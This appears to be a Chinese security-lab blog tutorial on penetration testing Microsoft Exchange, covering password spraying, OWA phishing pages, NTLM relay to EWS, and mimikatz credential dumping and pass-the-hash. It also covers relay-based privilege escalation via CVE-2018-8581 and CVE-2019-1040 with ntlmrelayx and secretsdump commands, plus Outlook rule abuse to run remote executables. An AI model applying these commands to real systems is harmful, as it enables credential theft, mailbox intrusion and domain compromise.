exchange无法收发邮件_「技术分享」Exchange渗透测试总结

本期安仔课堂,ISEC实验室的唐老师将为大家介绍Exchange相关知识点,欢迎感兴趣的朋友一起交流学习。

一 、Exchange概述

Exchange是微软出品的邮件服务器系统,凭借其强大的功能优势被应用到很多企业、学校的邮件系统搭建中

截至目前,Exchange已有多个成熟版本,例如:Exchange Server 2010、2013、2016及最新版本2019。此外,Exchange又可分为Exchange Server和Exchange Online ,为了方便,本文将主要以本地Exchange Server 2010为例进行演示

二、组成

首先,让我们一起了解下Exchange的结构组成。目前最新版本Exchange主要包含两个角色,分别是邮箱服务器角色和边缘传输服务器角色

2.1

邮箱服务器角色

1.包含用于路由邮件的传输服务;

2.包含处理、呈现和存储数据的邮箱数据库;

3.包含接受所有协议客户端连接的客户端访问服务;

  • http
  • RPC over HTTP
  • MAPI over HTTP
  • pop3
  • imap4
  • um呼叫

4.包含向邮箱提供语音邮件和其他电话服务功能的统一消息(UM)服务。

2.2

边缘传输服务器角色

1.处理Exchange组织的所有外部邮件流;

2.通常安装在外围网络中,可订阅内部Exchange组织。当Exchange组织接收和发送邮件时,EdgeSync同步进程会向边缘传输服务器提供收件人信息和其他配置信息。

f4f9a8e7354bfd0d3e6b63067fd11870.png

图1

其中,渗透测试人员最为关心Exchange对外提供的访问接口,以及使用的加密验证类型

三、邮件访问形式

通过上面的介绍,我们可以了解Exchange Server支持的协议。接下来,我们学习如何通过对应客户端访问这些协议

3.1

相关接口

1.outlook客户端(MAPI协议)

2.outlook web app(以web形式访问 https://域名或ip/owa)

3.POP3和IMAP4(可以通过POP3协议利用其他客户端)

以下为目前默认的部分前端虚拟目录,可用于识别Exchange服务、密码枚举、或权限维持

1.API(2016以后版本有效)

2.ecp Exchange(管理中心web形式访问https://域名或ip/ecp)

3.EWS(Exchange Web Services)

4.Autodiscover

5.MAPI

6.Microsoft-Server-ActiveSync

7.OAB(web形式访问https://域名或ip/oab)

8.owa

9.PowerShell

10.Rpc

0e6115851b9cc48eeda07027e37ae64c.png

图2

四、密码枚举

在无任意内网权限、用户账号权限时,可尝试对已知账号进行密码枚举

密码枚举可以利用的接口:

1.Autodiscover(401认证NTLM Authenticate)

2.OWA(post表单)

3.EWS(401认证NTLM Authenticate)

4.Microsoft-Server-ActiveSync(401认证+base64)

结合部分社工手段可获取已知账号,如搜索intext:*@xxxx.com。

其中比较好用的一款Exchange密码枚举工具

92a94e650aa5c0ef5ef1888c9affd2ad.png

图3

安装

7c45debc529ab9f49f75e993548eddbd.png

图4

以ruler密码枚举模块为例进行演示。ruler是针对Exchange的半自动利用工具,其Brute功能使用率较高,主要通过Autodiscover接口进行密码枚举。

准备用户名、密码字典:user.txt、pass.txt。

ecbb7c0c1681b5098f05f86d077dee2e.png

图5

以上为理想状态的测试情况,实际情况下需要足够多的账户密码,避免因过多尝试而冻结,还可通过控制-delay参数,或burp进行密码枚举。

五、邮箱社工测试

5.1

通过钓鱼获取账户密码

为了提升员工安全意识,在渗透测试时,往往还会被要求做邮件钓鱼测试。钓鱼邮件内容不限,可以自由发挥,如复制owa界面制作钓鱼页面等。

尝试伪造发件人,发送钓鱼邮件。

aef1d58c43d511a5677008da9ce4cff6.png

图6

在被测试的用户点击链接时提示会话超时,需重新登入。

bef35e7bd4566ec9e9090a78a2ffdf66.png

图7

制作相同登入口,后端保存用户登入信息。

1c09acda9d4b136c48249c9cbdc058ea.png

图8

针对这种钓鱼活动,很多环节都可以进行优化,如界面、提示、邮件语气等,这些都是决定测试成功率的重要因素

5.2

升级版钓鱼测试

5.1方式可能对谨慎用户无效,我们可以结合内网权限进行钓鱼测试

这里我们使用到一款工具:

4a2f28d38d83018ac4104d71ebd79b18.png

图9

该工具可实现中继ntlm协议,允许用户完成基于http的ntlm接口认证,并利用ews接口获取数据。其核心功能源于impacket框架。

5009f41cd1190b0499914681d14d89c6.png

图10

大家有兴趣的可以自行研究。

首先我们尝试访问ews接口,系统提示401 NTLM Authenticate验证,我们现在要做的就是利用已经登入系统的其他用户权限直接通过这个验证

e29bee52ce9d2a14b6e3230a4c07a4e2.png

图11

构造邮件,引用已被控制的内网机器文件,或超链接。

06f0617d0f68687f43b670a40c078dd4.png

图12

邮件原始内容

6fdcbe8b75ec99e353b1ecc7c437b699.png

图13

在获取内网的机器上运行我们的ExchangeRelayX

163b242952096a1c6b1edac9f12f4060.png

图14

等待目标用户查看邮件,以下引用图片会在Exchange上产生提示。

0f48ead13ec193143691afd8c7153313.png

图15

并且使用chrome浏览器时,加载该形式的资源会被阻止。

d832b40ac5af5e2145ea99da56d3073a.png

图16

使用IE浏览器,测试成功。

7f144365c7c7a773da1d9f76d10482b8.png

图17

当该图片加载,或者用户点击我们的超链接后,我们就能获取net-ntlm并绕过401认证。

9f850b56dff5902ceef47d28f8e86a8d.png

图18

ExchangeRelayX web控制台

8a0b8e7f02352d5403555c6699eba336.png

图19

验证通过后直接调用ews接口,由于实验环境Exchange版本问题,利用ExchangeRelayX封装好的请求会加上sp2导致报错,因此这里以发送原始xml的形式进行演示

获取收件箱soap请求

cfd59958a83b2320acd60b304809c4e2.png

图20

邮箱渗透测试成功,我们获取到邮件内容信息。

9b0829c6c7a799aca924d1635297cd51.png

图21

本文仅提供绕过验证的思路,对ews接口感兴趣的朋友可以到微软官方进行学习。

5.3

抓取ad明文或hash登入

这种方式较为常见,在已获取域控制权限的情况下,可直接通过mimikatz抓取需要登入Exchange的明文,登入owa实现邮件读取等操作。

mimikatz.exe privilege::debug sekurlsa::logonPasswords full

02a5c3756a56e6af027f7778c1875558.png

图22

未抓取到明文,可通过获取的ntlm-hash计算出ntlm挑战值来通过验证,或者利用mimikatz将ntlm hash更新到内存中。

mimikatz.exe privilege::debug "sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxxxxxxxxxxxxxxxxxxxxx"

更新后在dir 10.0.0.1271.jpg下就又可以利用上面讲到的ExchangeRelayX来读取操作,或者利用MailSniper。

3e0425df04e03453896c3d03657877cd.png

图23

查看当前用户

591c793fdb495f8d635948a7e1613e84.png

图24

更新指定的ntlm-hash到内存

a4555a03e34cf7ea1e180d92049e1748.png

图25

发送net-ntlm到ExchangeRelayX

9221df594fa377fc7d553e9d4a437e4c.png

图26

通过ews接口认证

a9234407285322b6a18a2a1d8ba1d3b2.png

图27

5.4

劫持获取账号密码

5.4.1 利用js劫持owa登入口

已获取域控权限或Exchange Server权限,便可直接修改登入口,利用js劫持点击事件。该形式较为简单,这边不做过多介绍。

5.4.2 劫持ad

这种形式可通过插件劫持域控实现,具体大家可以参考以下项目:

0b2cd29e331ff28a043c97dedd7e20cd.png

图28

安装方法如下:

bf46dd44b2d38a796f5e753ba2975cf4.png

图29

六、邮件服务器的其他测试

对邮件服务器的渗透测试,还有一些其他工具,如邮件内容或通讯录。同比手动登入owa等操作更为高效。

2e423787feb33b955b88641d8fb24450.png

图30

6.1

通讯录测试

d20cbafdea3f382f9d7cc44386952ac9.png

图31

测试成功

fd0effb57a21b1586dd6ead50f7c0ea4.png

图32

6.2

文件夹测试

24843548273cbb7e14485b9d4cf2b992.png

图33

测试成功

37fb50e07095a0f5113cd67db3fedd62.png

图34

6.3

其他测试

获取当前用户包含pass关键字的邮件

8a6a7d77765f35b59e184223a3728480.png

图35

七、CVE-2018-8581

漏洞利用

这个漏洞利用一个可以正常登入的普通用户账户,通过ssrf调用Exchange Server凭证到已控制的内网服务器上,并默认Exchange Server权限较高,就达到了提权的目的

我们需要借助一款工具

9ae306d109c65d0275c8787b2180366b.png

图36

操作如下:

0c8b389d976457eca56caa43ef572d1c.png

图37

拷贝privexchange.py到impacket的examples,已经获取的可以登入邮箱用户test,利用ntlmrelayx.py建立中继

ntlmrelayx.py -t ldap://10.0.0.158 --escalate-user test

发起ssrf的攻击测试

python privexchange.py -ah 10.0.0.127 -u test -d test.com 10.0.0.237

其中ah指定中继的主机,后面指定exchange的域名或者IP。

d8c7eab318dffe416c952a7ff64cd62b.png

图38

收到回调信息

e6afa82fd90ad715af524d5bf4ddbc84.png

图39

测试成功便会收到exchange server带凭证的请求,利用该权限即可提升test用户实现控制域

0f38db82e3e4a9dee3ceb140d0fd4c62.png

图40

最后我们可以导出域控的hash

python secretsdump.py test.com/test@10.0.0.158 -just-dc

00506327a43de331d329cf484168dd64.png

图41

八、Rules利用

通过上述手段我们可以获取exchange相关权限,若我们想对每个账号的使用人进行横向控制,便可利用Rules and Alerts给指定账号创建规则,若客户端使用out look,将允许其下次登入时执行这些规则,从而获取使用者pc权限

使用工具创建规则,运行远程文件执行,相关参数参考如下:

aa35ab23e42cc98d06982ae5320837de.png

图42

创建规则,触发关键字为shelltest。

5db85269485592e17b6501a0a0bc2767.png

图43

创建成功后需使用指定关键字进行触发。我们可以给邮箱发送包含关键字的邮件主题,触发执行1.exe,如使用ruler发送带关键字的邮件。

b77f59ae3245aff069bf8a10fbcee657.png

图44

九、CVE-2019-1040

利用

在这个漏洞之前利用smb转ldap时,有个mic检查导致无法中转成功,但利用这个CVE-2019-1040漏洞就实现了直接绕过mic检查,这是这个漏洞的关键点。利用方法类似2018-8581的形式。

更新我们的impacket

gti pull https://github.com/SecureAuthCorp/impacket

ntlmrelayx.py --remove-mic -t ldap://10.0.0.158 --escalate-user test -smb2support

触发SpoolService的bug产生smb回连工具

https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py

其他等同2018-8581部分

两个漏洞的区别

2018-8581是利用exchange漏洞产生http->ldap中转实现的提权,2019-1040是产生的smb->ldap中转,并且绕过mic检查。

以上关于exchange渗透测试知识点的总结,欢迎感兴趣的朋友一起交流沟通。

十、参考链接

8997b99e92a27aa50ec4da4f8029b902.png

图45

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值